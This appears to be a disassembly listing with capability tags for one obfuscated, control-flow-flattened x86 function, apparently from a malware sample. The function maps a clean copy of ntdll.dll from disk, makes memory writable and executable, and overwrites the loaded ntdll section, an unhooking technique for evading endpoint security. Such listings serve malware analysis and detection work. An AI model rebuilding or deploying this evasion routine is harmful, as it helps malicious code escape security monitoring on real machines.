Function at 0x401700
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x50
mov eax, dword [0x4ae2c0]
mov esi, 0xb6dd7c6a
xor eax, esp
mov dword [esp + 0x4c], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [esp + 0x18], eax
mov dword [esp + 4], eax
jmp 0x401740
mov eax, dword [esp + 0x20]
mov esi, 0xe7fbb08d
mov dword [esp + 0x10], eax
nop word cs:[eax + eax]
cmp esi, 0xf94f4a38
jg 0x4017b0
cmp esi, 0xcad4d1fe
jle 0x401800
cmp esi, 0xe4685bd3
jle 0x4018b4
cmp esi, 0xe7fbb08c
jg 0x401a3a
cmp esi, 0xe4685bd4
je 0x401a7c
cmp esi, 0xe65a6575
jne 0x401740
mov eax, dword [esp + 4]
mov esi, 0x88c08581
mov edx, 0x60ce3702
mov word [esp + 0xa], ax
mov eax, dword [0x4b0408]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
jmp 0x401b1f
cmp esi, 0x4b86d365
jle 0x401840
cmp esi, 0x70f15be6
jg 0x4018e2
cmp esi, 0x56e9b523
jle 0x401a66
cmp esi, 0x56e9b524
je 0x401a93
cmp esi, 0x60ce3702
jne 0x401740
mov esi, 0xfa697707
jmp 0x401740
cmp esi, 0x8e373d7e
jg 0x40191d
cmp esi, 0x81caa058
je 0x401ae3
cmp esi, 0x852ba20d
je 0x401b02
cmp esi, 0x88c08581
jne 0x401740
mov esi, 0xe65a6575
jmp 0x401740
cmp esi, 0x2003f5bc
jg 0x401a03
cmp esi, 0xf94f4a39
je 0x401b36
cmp esi, 0xf95825d9
je 0x401b5b
cmp esi, 0xfa697707
jne 0x401740
mov edx, dword [0x4b0408]
mov eax, dword [0x4b0404]
mov edi, 0x70f15be7
lea ecx, [edx - 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x8e373d7f
cmovne edx, edi
cmp ecx, 0xffffffff
mov esi, edx
cmove esi, edi
cmp eax, 0xa
cmovge esi, edx
jmp 0x401740
cmp esi, 0xcad4d1ff
je 0x401b9d
cmp esi, 0xd759e2cf
je 0x401727
cmp esi, 0xe417c3a8
jne 0x401740
mov esi, 0x2003f5bd
jmp 0x401740
cmp esi, 0x70f15be7
je 0x401ba7
cmp esi, 0x7e952f77
je 0x401bf7
cmp esi, 0x7fbc2794
jne 0x401740
cmp byte [esp + 2], 0
mov esi, 0xe417c3a8
mov eax, 0xf94f4a39
cmovne esi, eax
jmp 0x401740
cmp esi, 0x8e373d7f
je 0x401c01
cmp esi, 0xae20c404
je 0x401c10
cmp esi, 0xb6dd7c6a
jne 0x401740
mov dword [esp + 0x44], 0
mov dword [esp + 0x40], 0
mov dword [esp + 0x48], 0
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ecx, eax
push 0xc
lea eax, [esp + 0x44]
push eax
mov dword [esp + 0x38], ecx
push ecx
push dword [esp + 0x24]
call sub.KERNEL32.dll_K32GetModuleInformation
mov eax, dword [esp + 0x40]
mov dword [esp + 0xc], eax
sub esp, 0x1c
vmovaps xmm0, xmmword [0x458200]
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp], str.c:windows_system32_ntdll.dll
vmovups xmmword [esp + 4], xmm0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
sub esp, 0x18
vmovaps xmm0, xmmword [0x458210]
mov dword [esp + 0x44], eax
mov dword [esp], eax
mov dword [esp + 0x14], 0
vmovups xmmword [esp + 4], xmm0
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
sub esp, 0x14
vmovaps xmm0, xmmword [0x458220]
mov dword [esp + 0x3c], eax
mov dword [esp], eax
mov esi, 0x81caa058
vmovups xmmword [esp + 4], xmm0
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [esp + 0x24], eax
jmp 0x401740
cmp esi, 0x2003f5bd
je 0x401c3c
cmp esi, 0x38f6865c
je 0x401c46
cmp esi, 0x3949fead
jne 0x401740
mov eax, dword [esp + 4]
mov esi, 0xe8f4a280
mov word [esp + 0x16], ax
jmp 0x401740
cmp esi, 0xe7fbb08d
je 0x401c6e
cmp esi, 0xe8f4a280
jne 0x401740
movzx eax, word [esp + 0x16]
mov esi, 0x852ba20d
inc eax
mov dword [esp + 4], eax
jmp 0x401740
cmp esi, 0x54a7d238
jne 0x401cca
mov esi, 0x3949fead
jmp 0x401740
cmp byte [esp + 3], 0
mov esi, 0x38f6865c
mov eax, 0x7e952f77
cmovne esi, eax
jmp 0x401740
lea esi, [esp + 0x3c]
push esi
push 0x40
push dword [esp + 0x3c]
push dword [esp + 0x44]
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call edi
mov ebp, dword [esp + 0x10]
mov ebx, dword [esp + 0xc]
mov eax, dword [ebp + 0xc]
lea ecx, [eax + ebx]
add eax, dword [esp + 0x24]
push dword [ebp + 8]
push eax
push ecx
call fcn.0043ca90
add esp, 0xc
mov eax, dword [ebp + 0xc]
add eax, ebx
push esi
push dword [esp + 0x40]
push dword [ebp + 8]
push eax
call edi
mov esi, 0x7e952f77
jmp 0x401740
mov ecx, dword [esp + 0xc]
mov esi, 0x852ba20d
mov dword [esp + 4], 0
mov eax, dword [ecx + 0x3c]
add eax, ecx
mov dword [esp + 0x1c], eax
jmp 0x401740
mov eax, dword [0x4b0408]
mov esi, 0x88c08581
mov edx, 0xe65a6575
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete al
cmove esi, edx
cmp dword [0x4b0404], 0xa
mov ebp, 0x88c08581
jmp 0x401cba
movzx eax, word [esp + 4]
mov ecx, dword [esp + 0x1c]
mov esi, 0xf95825d9
lea eax, [eax + eax*4]
lea eax, [ecx + eax*8]
movzx ecx, word [ecx + 0x14]
lea eax, [ecx + eax + 0x18]
mov dword [esp + 0x20], eax
jmp 0x401740
mov ecx, dword [0x4b0408]
mov eax, dword [0x4b0404]
mov edi, 0xe7fbb08d
lea edx, [ecx + 1]
imul edx, ecx
mov ecx, edx
xor ecx, 0xfffffffe
test ecx, edx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0xd759e2cf
cmovne ebx, edi
test ecx, edx
mov esi, ebx
cmove esi, edi
cmp eax, 0xa
cmovge esi, ebx
jmp 0x401740
mov esi, 0x7fbc2794
jmp 0x401740
movzx eax, word [esp + 0xa]
mov ecx, dword [esp + 0x1c]
mov esi, 0x8e373d7f
mov edi, 0xcad4d1ff
mov edx, 0x8e373d7f
cmp ax, word [ecx + 6]
mov eax, dword [0x4b0408]
lea ecx, [eax + 1]
setb byte [esp + 2]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete al
cmove esi, edi
cmp dword [0x4b0404], 0xa
setl cl
cmovge esi, edx
xor cl, al
cmovne esi, edi
jmp 0x401740
mov esi, 0x54a7d238
jmp 0x401740
movzx eax, word [esp + 0xa]
mov esi, 0x70f15be7
jmp 0x401740
push dword [esp + 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [esp + 0x2c]
call esi
push dword [esp + 0x28]
call esi
push dword [esp + 0x30]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov esi, 0x4b86d366
jmp 0x401740
mov esi, 0xae20c404
jmp 0x401740
mov ecx, dword [esp + 0x10]
mov dword [esp + 0x3c], 0
mov esi, 0x56e9b524
mov eax, dword [ecx + 8]
mov dword [esp + 0x34], eax
mov eax, dword [ecx + 0xc]
add eax, dword [esp + 0xc]
mov dword [esp + 0x38], eax
jmp 0x401740
mov eax, dword [esp + 0x20]
push 0x458278
mov dword [esp + 0x14], eax
push eax
call fcn.00440410
add esp, 8
test eax, eax
mov eax, dword [0x4b0408]
mov esi, 0xd759e2cf
mov edx, 0xe4685bd4
mov ebp, 0xd759e2cf
setne byte [esp + 3]
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete al
cmove esi, edx
cmp dword [0x4b0404], 0xa
setl cl
cmovge esi, ebp
xor cl, al
cmovne esi, edx
jmp 0x401740
cmp esi, 0x4b86d366
jne 0x401740
mov ecx, dword [esp + 0x4c]
xor ecx, esp
call fcn.00439c00
add esp, 0x50
pop esi
pop edi
pop ebx
pop ebp
ret